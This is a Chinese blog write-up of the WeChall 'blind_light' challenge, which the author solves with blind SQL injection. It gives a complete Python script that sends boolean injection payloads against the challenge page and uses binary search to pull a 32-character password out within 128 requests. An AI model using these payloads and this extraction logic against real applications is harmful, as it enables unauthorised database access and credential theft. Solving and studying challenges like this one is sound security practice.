这两天做这个Wechall的盲注,本来不想发Wechall的题解,但是这个题拖了我两天时间,发出来纪念下…………
就是个简单的盲注,正误通过页面有无关键字确定。但是有请求次数限制,128次。
需要我猜的密码,长度是32,每一位组成元素有16种可能。也就是说,如果顺序查找,按算法复杂度O(n)算,一位最多可能跑16次,远超128次限制。所以考虑用二分法来猜,二分法算法复杂度O(logn),刚好,每一位猜4次一定能猜出来,总共128次。
然后,因为主要限制是比较次数,所以猜一个字符时,只比较一次,即是否大于等于。
解题脚本如下:
1 import requests 2 import string 3 4 url = "http://www.wechall.net/challenge/blind_light/index.php" 5 cookies = {'WC': 'XXXXXX'} 6 success_flag = "Welcome back, user. You would now be logged in" 7 count = 0 8 proxy = { 9 'http': 'socks5://127.0.0.1:1080', 10 'https': 'socks5://127.0.0.1:1080' 11 } 12 bit_list = list('0123456789ABCDEF') 13 ac_dict = dict() 14 15 16 def init_ac_dict(): 17 for i, bit in enumerate(bit_list): 18 ac_dict[i] = 0 19 20 21 def debug(msg): 22 if debug_mode: 23 print "[*]", msg 24 25 26 def getdata_for_onebit(position, payload): 27 ''' 28 payload like: 1' or mid(length(b.password),{position},1)>=char({ascii})# 29 ''' 30 start_bit = 0 31 end_bit = len(bit_list) - 1 32 33 while end_bit >= start_bit: 34 mid = start_bit + int(round((float(end_bit)-float(start_bit))/2)) 35 debug("start_bit: {}, end_bit: {}, mid: {}".format( 36 start_bit, end_bit, mid)) 37 38 now_payload = payload.format(position=position, ascii=bit_list[mid]) 39 debug("Sending Payload: ""+now_payload+'"') 40 while True: 41 try: 42 rq = requests.post(url, data={ 43 'injection': now_payload, 'inject': 'inject'}, cookies=cookies, timeout=None, proxies=proxy) 44 except Exception as e: 45 raise e 46 else: 47 break 48 if success_flag in rq.content: 49 debug("Last Payload Success") 50 if end_bit == mid: 51 start_bit = end_bit 52 break 53 else: 54 start_bit = mid 55 else: 56 debug("Last Payload Error") 57 if end_bit == mid: 58 break 59 else: 60 end_bit = mid - 1 61 debug(bit_list[start_bit]) 62 return bit_list[start_bit] 63 64 65 def get_password_length(): 66 payload = "1' or mid(length(b.password),{position},1)>='{ascii}'#" 67 bit_position = 1 68 result = "" 69 while bit_position <= 2: 70 debug("Getting {}th bit".format(bit_position)) 71 temp = getdata_for_onebit(bit_position, payload) 72 if temp is None: 73 break 74 else: 75 result += temp 76 bit_position += 1 77 return result 78 79 80 def get_password(length): 81 payload = "1' or mid(b.password,{position},1)>='{ascii}'#" 82 bit_position = 1 83 result = "" 84 while bit_position <= length: 85 debug("Getting {}th bit".format(bit_position)) 86 temp = getdata_for_onebit(bit_position, payload) 87 if temp is None: 88 break 89 else: 90 result += temp 91 bit_position += 1 92 return result 93 94 if __name__ == '__main__': 95 debug_mode = True 96 while True: 97 password = get_password(32) 98 rq = requests.post(url, data={ 99 'thehash': password, 'mybutton': 'Enter'}, cookies=cookies, timeout=None, proxies=proxy) 100 if 'We are sorry but it took you' in rq.content or "Your answer is wrong" in rq.content: 101 print "[*] Not PASS", '.'*8, password 102 print rq.content 103 exit(998) 104 rq = requests.get( 105 url+"?reset=me", cookies=cookies, timeout=None, proxies=proxy) 106 else: 107 print "[!] PASS", '.'*8, password 108 break
哎,其实主要是二分法老是写错。最开始我用的不是>=而是>,这样平均会多一次请求。
如果用>判断,要找的位置会大于等于左侧,小于等于右侧,所以最后可能需要多一次判断,看是左侧值还是右侧值。
但是用>=判断,要找的位置会大于等于左侧,小于右侧,少了一次判断。
哎,没想到连二分法都不会写了……发博客警示下自己……